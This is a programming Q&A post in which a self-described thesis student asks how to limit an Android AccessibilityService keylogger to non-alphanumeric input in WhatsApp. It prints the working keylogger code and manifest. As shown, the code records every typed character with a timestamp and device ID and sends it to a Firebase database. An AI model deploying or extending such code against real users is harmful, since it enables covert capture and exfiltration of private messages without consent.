Android Key Logger with specific restrictions

For my Master Thesis, I am doing an Android app. I need to add a Key Logger to monitor user input text. I would like to monitor ONLY input text from an specific app (Whatsapp). For privacy reasons I don't want to record alphanumeric characters.

I would like to store just non alphanumeric characters (including backspaces).

For now, I have a Key Logger (MyAccessibilityService class) that store every character (with the DateTime) in Firebase, but I need to change my code.

Here is the code:

package com.example.appfirebase;

import android.accessibilityservice.AccessibilityService;
import android.accessibilityservice.AccessibilityServiceInfo;
import android.view.accessibility.AccessibilityEvent;
import android.provider.Settings.Secure;

import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;
public class MyAccessibilityService extends AccessibilityService {

    DatabaseReference mRootReference;

    @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {

        mRootReference = FirebaseDatabase.getInstance().getReference();

        String id = Secure.getString(getBaseContext().getContentResolver(), Secure.ANDROID_ID);

        final int eventType = event.getEventType();
        String eventText = null;

        switch (eventType) {

            case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:
                String dateTime = java.time.LocalDateTime.now().toString();
                eventText = dateTime + " --> Typed: ";
                break;
        }

        eventText = eventText + event.getText();

        //print the typed text in the console. Or do anything you want here.
        System.out.println("ACCESSIBILITY SERVICE : " + eventText);

        mRootReference.child(id).push().setValue(eventText);
    }

    @Override
    public void onInterrupt() {
        //whatever
    }

    @Override
    public void onServiceConnected() {
        //configure our Accessibility service
        AccessibilityServiceInfo info = getServiceInfo();
        info.eventTypes = AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED;
        info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
        info.notificationTimeout = 100;
        this.setServiceInfo(info);
    }

}

And this is the Manifest:

<service android:name=".MyAccessibilityService"
         android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
     <intent-filter>
         <action android:name="android.accessibilityservice.AccessibilityService"/>
     </intent-filter>
 </service>

PS: I got this code from Android Key logger.